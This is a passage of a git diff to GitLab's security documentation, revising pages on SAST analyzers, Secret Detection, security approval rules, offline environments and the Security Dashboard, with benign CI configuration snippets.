steps to enable `Vulnerability-Check`: 1. Navigate to your project's **Settings > General** and expand **Merge request approvals**. -1. Click **Add approval rule**, or **Edit**. - - Add or change the **Rule name** to `Vulnerability-Check` (case sensitive). +1. Click **Enable**, or **Edit**. +1. Add or change the **Rule name** to `Vulnerability-Check` (case sensitive). - + Once this group is added to your project, the approval rule is enabled for all merge requests. @@ -332,32 +351,14 @@ An approval is optional when the security report: - Contains no new vulnerabilities when compared to the target branch. - Contains only new vulnerabilities of `low` or `medium` severity. -## Enabling License Approvals within a project +### Enabling License Approvals within a project > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13067) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.3. -`License-Check` is an approval rule you can enable to allow an individual or group to approve a -merge request that contains a `denied` license. - -You can enable `License-Check` one of two ways: - -- Create a [project approval rule](../project/merge_requests/merge_request_approvals.md#multiple-approval-rules-premium) - with the case-sensitive name `License-Check`. -- Create an approval group in the [project policies section for License Compliance](../compliance/license_compliance/index.md#policies). - You must set this approval group's number of approvals required to greater than zero. Once you - enable this group in your project, the approval rule is enabled for all merge requests. - -Any code changes cause the approvals required to reset. - -An approval is required when a license report: - -- Contains a dependency that includes a software license that is `denied`. -- Is not generated during pipeline execution. - -An approval is optional when a license report: - -- Contains no software license violations. -- Contains only new licenses that are `allowed` or unknown. +`License-Check` is a [security approval rule](#enabling-security-approvals-within-a-project) +you can enable to allow an individual or group to approve a merge request that contains a `denied` +license. For instructions on enabling this rule, see +[Enabling license approvals within a project](../compliance/license_compliance/index.md#enabling-license-approvals-within-a-project). ## Working in an offline environment diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md index a5cf93f9448..3a7c0148388 100644 --- a/doc/user/application_security/offline_deployments/index.md +++ b/doc/user/application_security/offline_deployments/index.md @@ -64,10 +64,10 @@ Once a vulnerability is found, you can interact with it. Read more on how to Please note that in some cases the reported vulnerabilities provide metadata that can contain external links exposed in the UI. These links might not be accessible within an offline environment. -### Suggested Solutions for vulnerabilities +### Automatic remediation for vulnerabilities -The [suggested solutions](../index.md#solutions-for-vulnerabilities-auto-remediation) feature -(auto-remediation) is available for Dependency Scanning and Container Scanning, but may not work +The [automatic remediation for vulnerabilities](../index.md#solutions-for-vulnerabilities-auto-remediation) feature +(auto-remediation) is available for offline Dependency Scanning and Container Scanning, but may not work depending on your instance's configuration. We can only suggest solutions, which are generally more current versions that have been patched, when we are able to access up-to-date registry services hosting the latest versions of that dependency or image. @@ -96,7 +96,7 @@ above. You can find more information at each of the pages below: To use many GitLab features, including [security scans](../index.md#working-in-an-offline-environment) -and [Auto DevOps](../../../topics/autodevops/index.md), the GitLab Runner must be able to fetch the +and [Auto DevOps](../../../topics/autodevops/index.md), the runner must be able to fetch the relevant Docker images. The process for making these images available without direct access to the public internet @@ -124,7 +124,7 @@ The pipeline downloads the Docker images needed for the Security Scanners and sa [job artifacts](../../../ci/pipelines/job_artifacts.md) or pushes them to the [Container Registry](../../packages/container_registry/index.md) of the project where the pipeline is executed. These archives can be transferred to another location and [loaded](https://docs.docker.com/engine/reference/commandline/load/) in a Docker daemon. -This method requires a GitLab Runner with access to both `gitlab.com` (including +This method requires a runner with access to both `gitlab.com` (including `registry.gitlab.com`) and the local offline instance. This runner must run in [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#use-docker-in-docker-with-privileged-mode) to be able to use the `docker` command inside the jobs. This runner can be installed in a DMZ or on diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md index 214044ad783..727f077aa09 100644 --- a/doc/user/application_security/sast/analyzers.md +++ b/doc/user/application_security/sast/analyzers.md @@ -28,7 +28,6 @@ SAST supports the following official analyzers: - [`nodejs-scan`](https://gitlab.com/gitlab-org/security-products/analyzers/nodejs-scan) (NodeJsScan) - [`phpcs-security-audit`](https://gitlab.com/gitlab-org/security-products/analyzers/phpcs-security-audit) (PHP CS security-audit) - [`pmd-apex`](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex) (PMD (Apex only)) -- [`secrets`](https://gitlab.com/gitlab-org/security-products/analyzers/secrets) (Secrets (Gitleaks & TruffleHog secret detectors)) - [`security-code-scan`](https://gitlab.com/gitlab-org/security-products/analyzers/security-code-scan) (Security Code Scan (.NET)) - [`sobelow`](https://gitlab.com/gitlab-org/security-products/analyzers/sobelow) (Sobelow (Elixir Phoenix)) - [`spotbugs`](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs) (SpotBugs with the Find Sec Bugs plugin (Ant, Gradle and wrapper, Grails, Maven and wrapper, SBT)) @@ -97,32 +96,7 @@ That's needed when one totally relies on [custom analyzers](#custom-analyzers). ## Custom Analyzers -### Custom analyzers with Docker-in-Docker - -When Docker-in-Docker for SAST is enabled, -you can provide your own analyzers as a comma-separated list of Docker images. -Here's how to add `analyzers/csharp` and `analyzers/perl` to the default images: -In `.gitlab-ci.yml` define: - -```yaml -include: - - template: SAST.gitlab-ci.yml - -variables: - SAST_ANALYZER_IMAGES: "my-docker-registry/analyzers/csharp,amy-docker-registry/analyzers/perl" -``` - -The values must be the full path to the container registry images, -like what you would feed to the `docker pull` command. - -NOTE: **Note:** -This configuration doesn't benefit from the integrated detection step. -SAST has to fetch and spawn each Docker image to establish whether the -custom analyzer can scan the source code. - -### Custom analyzers without Docker-in-Docker - -When Docker-in-Docker for SAST is disabled, you can provide your own analyzers by +You can provide your own analyzers by defining CI jobs in your CI configuration. For consistency, you should suffix your custom SAST jobs with `-sast`. Here's how to add a scanning job that's based on the Docker image `my-docker-registry/analyzers/csharp` and generates a SAST report @@ -146,7 +120,7 @@ The [Security Scanner Integration](../../../development/integrations/secure.md) | Property / Tool | Apex | Bandit | Brakeman | ESLint security | SpotBugs | Flawfinder | Gosec | Kubesec Scanner | NodeJsScan | PHP CS Security Audit | Security code Scan (.NET) | Sobelow | | --------------------------------------- | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :---------------------: | :-------------------------: | :----------------: | -| Severity | ✓ | ✓ | 𐄂 | 𐄂 | ✓ | 𐄂 | ✓ | ✓ | 𐄂 | ✓ | 𐄂 | 𐄂 | +| Severity | ✓ | ✓ | 𐄂 | 𐄂 | ✓ | ✓ | ✓ | ✓ | 𐄂 | ✓ | 𐄂 | 𐄂 | | Title | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | | Description | ✓ | 𐄂 | 𐄂 | ✓ | ✓ | 𐄂 | 𐄂 | ✓ | ✓ | 𐄂 | 𐄂 | ✓ | | File | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | @@ -159,7 +133,7 @@ The [Security Scanner Integration](../../../development/integrations/secure.md) | Internal doc/explanation | ✓ | ⚠ | ✓ | 𐄂 | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | ✓ | | Solution | ✓ | 𐄂 | 𐄂 | 𐄂 | ⚠ | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | | Affected item (e.g. class or package) | ✓ | 𐄂 | ✓ | 𐄂 | ✓ | ✓ | 𐄂 | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | -| Confidence | 𐄂 | ✓ | ✓ | 𐄂 | ✓ | ✓ | ✓ | ✓ | 𐄂 | 𐄂 | 𐄂 | ✓ | +| Confidence | 𐄂 | ✓ | ✓ | 𐄂 | ✓ | x | ✓ | ✓ | 𐄂 | 𐄂 | 𐄂 | ✓ | | Source code extract | 𐄂 | ✓ | ✓ | ✓ | 𐄂 | ✓ | ✓ | 𐄂 | 𐄂 | 𐄂 | 𐄂 | 𐄂 | | Internal ID | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | 𐄂 | 𐄂 | ✓ | ✓ | ✓ | diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md index fd331020719..a4fc3c9e638 100644 --- a/doc/user/application_security/sast/index.md +++ b/doc/user/application_security/sast/index.md @@ -43,29 +43,28 @@ A pipeline consists of multiple jobs, including SAST and DAST scanning. If any j ## Requirements -To run SAST jobs, by default, you need a GitLab Runner with the +To run SAST jobs, by default, you need GitLab Runner with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. -If you're using the shared Runners on GitLab.com, this is enabled by default. - -Beginning with GitLab 13.0, Docker privileged mode is necessary only if you've [enabled Docker-in-Docker for SAST](#enabling-docker-in-docker-ultimate). +If you're using the shared runners on GitLab.com, this is enabled by default. CAUTION: **Caution:** Our SAST jobs require a Linux container type. Windows containers are not yet supported. CAUTION: **Caution:** -If you use your own Runners, make sure the Docker version installed +If you use your own runners, make sure the Docker version installed is **not** `19.03.0`. See [troubleshooting information](#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details. ## Supported languages and frameworks -The following table shows which languages, package managers and frameworks are supported and which tools are used. +GitLab SAST supports a variety of languages, package managers, and frameworks. Our SAST security scanners also feature automatic language detection which works even for mixed-language projects. If any supported language is detected in project source code we will automatically run the appropriate SAST analyzers. + +You can also [view our language roadmap](https://about.gitlab.com/direction/secure/static-analysis/sast/#language-support) and [request other language support by opening an issue](https://gitlab.com/groups/gitlab-org/-/epics/297). | Language (package managers) / framework | Scan tool | Introduced in GitLab Version | |--------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------| | .NET Core | [Security Code Scan](https://security-code-scan.github.io) | 11.0, [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 | | .NET Framework | [Security Code Scan](https://security-code-scan.github.io) | 13.0, [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 | -| Any | [Gitleaks](https://github.com/zricethezav/gitleaks) and [TruffleHog](https://github.com/dxa4481/truffleHog) | 11., [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 | | Apex (Salesforce) | [PMD](https://pmd.github.io/pmd/index.html) | 12.1, [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 | | C/C++ | [Flawfinder](https://github.com/david-a-wheeler/flawfinder) | 10.7, [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 | | Elixir (Phoenix) | [Sobelow](https://github.com/nccgroup/sobelow) | 11.10, [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 | @@ -94,9 +93,6 @@ All open source (OSS) analyzers have been moved to the GitLab Core tier. Progres tracked in the corresponding [epic](https://gitlab.com/groups/gitlab-org/-/epics/2098). -Please note that support for [Docker-in-Docker](#enabling-docker-in-docker-ultimate) -will not be extended to the GitLab Core tier. - #### Summary of features per tier Different features are available in different [GitLab tiers](https://about.gitlab.com/pricing/), @@ -108,8 +104,9 @@ as shown in the following table: | [Customize SAST Settings](#customizing-the-sast-settings) | **{check-circle}** | **{check-circle}** | | View [JSON Report](#reports-json-format) | **{check-circle}** | **{check-circle}** | | [Presentation of JSON Report in Merge Request](#overview) | **{dotted-circle}** | **{check-circle}** | -| [Interaction with Vulnerabilities](#interacting-with-the-vulnerabilities-ultimate) | **{dotted-circle}** | **{check-circle}** | -| [Access to Security Dashboard](#security-dashboard-ultimate) | **{dotted-circle}** | **{check-circle}** | +| [Interaction with Vulnerabilities](#interacting-with-the-vulnerabilities) | **{dotted-circle}** | **{check-circle}** | +| [Access to Security Dashboard](#security-dashboard) | **{dotted-circle}** | **{check-circle}** | +| [Configure SAST in the UI](#configure-sast-in-the-ui) | **{dotted-circle}** | **{check-circle}** | ## Contribute your scanner @@ -119,7 +116,7 @@ The [Security Scanner Integration](../../../development/integrations/secure.md) To configure SAST for a project you can: -- Use [Auto SAST](../../../topics/autodevops/stages.md#auto-sast-ultimate) provided by +- Use [Auto SAST](../../../topics/autodevops/stages.md#auto-sast) provided by [Auto DevOps](../../../topics/autodevops/index.md). - [Configure SAST manually](#configure-sast-manually). - [Configure SAST using the UI](#configure-sast-in-the-ui) (introduced in GitLab 13.3). @@ -135,30 +132,31 @@ Add the following to your `.gitlab-ci.yml` file: ```yaml include: - - template: SAST.gitlab-ci.yml + - template: Security/SAST.gitlab-ci.yml ``` The included template creates SAST jobs in your CI/CD pipeline and scans your project's source code for possible vulnerabilities. The results are saved as a -[SAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssast-ultimate) +[SAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssast) that you can later download and analyze. Due to implementation limitations, we always take the latest SAST artifact available. -### Configure SAST in the UI +### Configure SAST in the UI **(ULTIMATE)** -> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3659) in GitLab Ultimate 13.3. +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3659) in GitLab Ultimate 13.3. +> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/232862) in GitLab Ultimate 13.4. -For a project that does not have a `.gitlab-ci.yml` file, you can enable SAST with a basic -configuration using the **SAST Configuration** page: +You can enable and configure SAST with a basic configuration using the **SAST Configuration** +page: -1. From the project's home page, go to **Security & Configuration** > **Configuration** in the +1. From the project's home page, go to **Security & Compliance** > **Configuration** in the left sidebar. -1. Click **Enable via Merge Request** on the Static Application Security Testing (SAST) row. -1. Enter the appropriate SAST details into the fields on the page. See [Available variables](#available-variables) - for a description of these variables. -1. Click **Create Merge Request**. +1. If the project does not have a `gitlab-ci.yml` file, click **Enable** in the Static Application Security Testing (SAST) row, otherwise click **Configure**. +1. Enter the custom SAST values, then click **Create Merge Request**. + + Custom values are stored in the `.gitlab-ci.yml` file. For variables not in the SAST Configuration page, their values are left unchanged. Default values are inherited from the GitLab SAST template. 1. Review and merge the merge request. ### Customizing the SAST settings @@ -215,25 +213,6 @@ you can use the `MAVEN_CLI_OPTS` environment variable. Read more on [how to use private Maven repositories](../index.md#using-private-maven-repos). -### Enabling Docker-in-Docker **(ULTIMATE)** - -If needed, you can enable Docker-in-Docker to restore the SAST behavior that existed prior to GitLab -13.0. Follow these steps to do so: - -1. Configure a GitLab Runner with Docker-in-Docker in [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#use-docker-in-docker-with-privileged-mode). -1. Set the variable `SAST_DISABLE_DIND` set to `false`: - - ```yaml - include: - - template: SAST.gitlab-ci.yml - - variables: - SAST_DISABLE_DIND: "false" - ``` - -This creates a single `sast` job in your CI/CD pipeline instead of multiple `<analyzer-name>-sast` -jobs. - #### Enabling Kubesec analyzer > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12752) in GitLab Ultimate 12.6. @@ -265,8 +244,8 @@ analyzer and compilation will be skipped: image: maven:3.6-jdk-8-alpine stages: - - build - - test + - build + - test include: - template: SAST.gitlab-ci.yml @@ -327,7 +306,6 @@ The following are Docker image-related variables. | `SECURE_ANALYZERS_PREFIX` | Override the name of the Docker registry providing the default images (proxy). Read more about [customizing analyzers](analyzers.md). | | `SAST_ANALYZER_IMAGE_TAG` | **DEPRECATED:** Override the Docker tag of the default images. Read more about [customizing analyzers](analyzers.md). | | `SAST_DEFAULT_ANALYZERS` | Override the names of default images. Read more about [customizing analyzers](analyzers.md). | -| `SAST_DISABLE_DIND` | Disable Docker-in-Docker and run analyzers [individually](#enabling-docker-in-docker-ultimate). This variable is `true` by default. | #### Vulnerability filters @@ -340,23 +318,7 @@ Some analyzers make it possible to filter out vulnerabilities under a given thre | `SAST_BANDIT_EXCLUDED_PATHS` | | Comma-separated list of paths to exclude from scan. Uses Python's [`fnmatch` syntax](https://docs.python.org/2/library/fnmatch.html); For example: `'*/tests/*, */venv/*'` | | `SAST_BRAKEMAN_LEVEL` | 1 | Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low 3=High. | | `SAST_FLAWFINDER_LEVEL` | 1 | Ignore Flawfinder vulnerabilities under given risk level. Integer, 0=No risk, 5=High risk. | -| `SAST_GITLEAKS_ENTROPY_LEVEL` | 8.0 | Minimum entropy for secret detection. Float, 0.0 = low, 8.0 = high. | | `SAST_GOSEC_LEVEL` | 0 | Ignore Gosec vulnerabilities under given confidence level. Integer, 0=Undefined, 1=Low, 2=Medium, 3=High. | -| `SAST_GITLEAKS_COMMIT_FROM` | | The commit a Gitleaks scan starts at. | -| `SAST_GITLEAKS_COMMIT_TO` | | The commit a Gitleaks scan ends at. | -| `SAST_GITLEAKS_HISTORIC_SCAN` | `false` | Flag to enable a historic Gitleaks scan. | - -#### Docker-in-Docker orchestrator - -The following variables configure the Docker-in-Docker orchestrator, and therefore are only used when the Docker-in-Docker mode is [enabled](#enabling-docker-in-docker-ultimate). - -| Environment variable | Default value | Description | -|------------------------------------------|---------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `SAST_ANALYZER_IMAGES` | | Comma-separated list of custom images. Default images are still enabled. Read more about [customizing analyzers](analyzers.md). | -| `SAST_PULL_ANALYZER_IMAGES` | 1 | Pull the images from the Docker registry (set to 0 to disable). Read more about [customizing analyzers](analyzers.md). | -| `SAST_DOCKER_CLIENT_NEGOTIATION_TIMEOUT` | 2m | Time limit for Docker client negotiation. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, `h`. For example, `300ms`, `1.5h` or `2h45m`. | -| `SAST_PULL_ANALYZER_IMAGE_TIMEOUT` | 5m | Time limit when pulling the image of an analyzer. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, `h`. For example, `300ms`, `1.5h` or `2h45m`. | -| `SAST_RUN_ANALYZER_TIMEOUT` | 20m | Time limit when running an analyzer. Timeouts are parsed using Go's [`ParseDuration`](https://golang.org/pkg/time/#ParseDuration). Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, `h`. For example, `300ms`, `1.5h` or `2h45m`. | #### Analyzer settings @@ -514,15 +476,14 @@ run successfully. For more information, see [Offline environments](../offline_de To use SAST in an offline environment, you need: -- To keep Docker-In-Docker disabled (default). -- A GitLab Runner with the [`docker` or `kubernetes` executor](#requirements). +- GitLab Runner with the [`docker` or `kubernetes` executor](#requirements). - A Docker Container Registry with locally available copies of SAST [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images. - Configure certificate checking of packages (optional). NOTE: **Note:** GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), -meaning the Runner tries to pull Docker images from the GitLab container registry even if a local -copy is available. GitLab Runner's [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) +meaning the runner tries to pull Docker images from the GitLab container registry even if a local +copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) in an offline environment if you prefer using only locally available Docker images. However, we recommend keeping the pull policy setting to `always` if not in an offline environment, as this enables the use of updated scanners in your CI/CD pipelines. @@ -543,7 +504,6 @@ registry.gitlab.com/gitlab-org/security-products/analyzers/kubesec:2 registry.gitlab.com/gitlab-org/security-products/analyzers/nodejs-scan:2 registry.gitlab.com/gitlab-org/security-products/analyzers/phpcs-security-audit:2 registry.gitlab.com/gitlab-org/security-products/analyzers/pmd-apex:2 -registry.gitlab.com/gitlab-org/security-products/analyzers/secrets:2 registry.gitlab.com/gitlab-org/security-products/analyzers/security-code-scan:2 registry.gitlab.com/gitlab-org/security-products/analyzers/sobelow:2 registry.gitlab.com/gitlab-org/security-products/analyzers/spotbugs:2 @@ -563,13 +523,13 @@ For details on saving and transporting Docker images as a file, see Docker's doc Add the following configuration to your `.gitlab-ci.yml` file. You must replace `SECURE_ANALYZERS_PREFIX` to refer to your local Docker container registry: - ```yaml +```yaml include: - template: SAST.gitlab-ci.yml variables: SECURE_ANALYZERS_PREFIX: "localhost:5000/analyzers" - ``` +``` The SAST job should now use local copies of the SAST analyzers to scan your code and generate security reports without requiring internet access. diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md index 7daf2f3308b..f3e411cdc16 100644 --- a/doc/user/application_security/secret_detection/index.md +++ b/doc/user/application_security/secret_detection/index.md @@ -37,13 +37,13 @@ GitLab displays identified secrets visibly in a few places: To run Secret Detection jobs, by default, you need GitLab Runner with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. -If you're using the shared Runners on GitLab.com, this is enabled by default. +If you're using the shared runners on GitLab.com, this is enabled by default. CAUTION: **Caution:** Our Secret Detection jobs currently expect a Linux container type. Windows containers are not yet supported. CAUTION: **Caution:** -If you use your own Runners, make sure the Docker version installed +If you use your own runners, make sure the Docker version installed is **not** `19.03.0`. See [troubleshooting information](../sast#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details. ### Making Secret Detection available to all GitLab tiers @@ -83,7 +83,7 @@ variable. For example, `https://username:$password@example.com/path/to/repo` won detected, whereas `https://username:password@example.com/path/to/repo` would be detected. NOTE: **Note:** -You don't have to configure Secret Detection manually as shown in this section if you're using [Auto Secret Detection](../../../topics/autodevops/stages.md#auto-secret-detection-ultimate) +You don't have to configure Secret Detection manually as shown in this section if you're using [Auto Secret Detection](../../../topics/autodevops/stages.md#auto-secret-detection) provided by [Auto DevOps](../../../topics/autodevops/index.md). To enable Secret Detection for GitLab 13.1 and later, you must include the `Secret-Detection.gitlab-ci.yml` template that’s provided as a part of your GitLab installation. For GitLab versions earlier than 11.9, you can copy and use the job as defined in that template. @@ -99,7 +99,7 @@ The included template creates Secret Detection jobs in your CI/CD pipeline and s your project's source code for secrets. The results are saved as a -[Secret Detection report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssecret_detection-ultimate) +[Secret Detection report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssecret_detection) that you can later download and analyze. Due to implementation limitations, we always take the latest Secret Detection artifact available. diff --git a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_3.png b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_3.png Binary files differdeleted file mode 100644 index 7b9a48b8738..00000000000 --- a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_3.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png Binary files differnew file mode 100644 index 00000000000..67a7bb5f368 --- /dev/null +++ b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_empty_v13_4.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_empty_v13_4.png Binary files differnew file mode 100644 index 00000000000..3c618090be8 --- /dev/null +++ b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_empty_v13_4.png diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_0.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_0.png Binary files differdeleted file mode 100644 index 77e75551bd9..00000000000 --- a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_0.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_4.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_4.png Binary files differnew file mode 100644 index 00000000000..9ade24be16f --- /dev/null +++ b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_export_csv_v13_4.png diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_v13_4.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_v13_4.png Binary files differnew file mode 100644 index 00000000000..d010adcc90c --- /dev/null +++ b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_v13_4.png diff --git a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_with_projects_v13_2_sm.png b/doc/user/application_security/security_dashboard/img/instance_security_dashboard_with_projects_v13_2_sm.png Binary files differdeleted file mode 100644 index 75b5ad1d885..00000000000 --- a/doc/user/application_security/security_dashboard/img/instance_security_dashboard_with_projects_v13_2_sm.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_2.png b/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_2.png Binary files differdeleted file mode 100644 index 591a08f4d7a..00000000000 --- a/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_2.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_3.png b/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_3.png Binary files differnew file mode 100644 index 00000000000..c89179e739d --- /dev/null +++ b/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v13_3.png diff --git a/doc/user/application_security/security_dashboard/img/pipeline_security_v13_3.gif b/doc/user/application_security/security_dashboard/img/pipeline_security_v13_3.gif Binary files differdeleted file mode 100644 index 29e7168b6ea..00000000000 --- a/doc/user/application_security/security_dashboard/img/pipeline_security_v13_3.gif +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/project_security_dashboard_v13_3.png b/doc/user/application_security/security_dashboard/img/project_security_dashboard_v13_3.png Binary files differnew file mode 100644 index 00000000000..34c64f830ba --- /dev/null +++ b/doc/user/application_security/security_dashboard/img/project_security_dashboard_v13_3.png diff --git a/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_1.png b/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_1.png Binary files differdeleted file mode 100644 index 2b792727a99..00000000000 --- a/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_1.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_4.png b/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_4.png Binary files differnew file mode 100644 index 00000000000..eb91cfc47ad --- /dev/null +++ b/doc/user/application_security/security_dashboard/img/vulnerability_list_table_v13_4.png diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md index b8fcc513cb1..51d9b4f45cd 100644 --- a/doc/user/application_security/security_dashboard/index.md +++ b/doc/user/application_security/security_dashboard/index.md @@ -35,7 +35,7 @@ To use the instance, group, project, or pipeline security dashboard: the [supported reports](#supported-reports). 1. The configured jobs must use the [new `reports` syntax](../../../ci/pipelines/job_artifacts.md#artifactsreports). 1. [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 or newer must be used. - If you're using the shared Runners on GitLab.com, this is already the case. + If you're using the shared runners on GitLab.com, this is already the case. ## Pipeline Security @@ -43,13 +43,11 @@ To use the instance, group, project, or pipeline security dashboard: At the pipeline level, the Security section displays the vulnerabilities present in the branch of the project the pipeline was run against. - + Visit the page for any pipeline that ran any of the [supported reports](#supported-reports). To view the pipeline's security findings, select the **Security** tab when viewing the pipeline. - - NOTE: **Note:** A pipeline consists of multiple jobs, including SAST and DAST scanning. If any job fails to finish for any reason, the security dashboard will not show SAST scanner output. For example, if the SAST job finishes but the DAST job fails, the security dashboard will not show SAST results. The analyzer will output an [exit code](../../../development/integrations/secure.md#exit-code) on failure. @@ -63,11 +61,13 @@ to **Security & Compliance > Security Dashboard**. By default, the Security Dash detected and confirmed vulnerabilities. The Security Dashboard first displays the total number of vulnerabilities by severity (for example, -Critical, High, Medium, Low). Below this, a table displays each vulnerability's status, severity, +Critical, High, Medium, Low, Info, Unknown). Below this, a table shows each vulnerability's status, severity, and description. Clicking a vulnerability takes you to its [Vulnerability Details](../vulnerabilities) page to view more information about that vulnerability. -You can filter the vulnerabilities by: + + +You can filter the vulnerabilities by one or more of the following: - Status - Severity @@ -122,24 +122,28 @@ branches of all the projects you configure to display on the dashboard. It inclu [group Security Dashboard's](#group-security-dashboard) features. + + You can access the Instance Security Dashboard from the menu bar at the top of the page. Under **More**, select **Security**.  +The dashboard is empty before you add projects to it. + + + ### Adding projects to the dashboard To add projects to the dashboard: -1. Click the **Edit dashboard** button on the Instance Security Dashboard page. +1. Click **Settings** in the left navigation bar or click the **Add projects** button. 1. Search for and add one or more projects using the **Search your projects** field. 1. Click the **Add projects** button. -Once added, the Security Dashboard displays the vulnerabilities found in your chosen projects' +After you add projects, the Security Dashboard displays the vulnerabilities found in those projects' default branches. - - ## Export vulnerabilities > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213014) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. @@ -150,6 +154,8 @@ is built, the CSV report downloads to your local machine. The report contains al vulnerabilities for the projects defined in the **Security Dashboard**, as filters don't apply to the export function. + + NOTE: **Note:** It may take several minutes for the download to start if your project contains thousands of vulnerabilities. Do not close the page until the download finishes. @@ -190,7 +196,7 @@ to configure daily security scans. Each dashboard's vulnerability list contains vulnerabilities from the latest scans that were merged into the default branch. - + You can filter which vulnerabilities the Security Dashboard displays by: @@ -208,7 +214,7 @@ To create an issue associated with the vulnerability, click the **Create Issue** Once you create the issue, the vulnerability list contains a link to the issue and an icon whose color indicates the issue's status (green for open issues, blue for closed issues). - + <!-- ## Troubleshooting diff --git 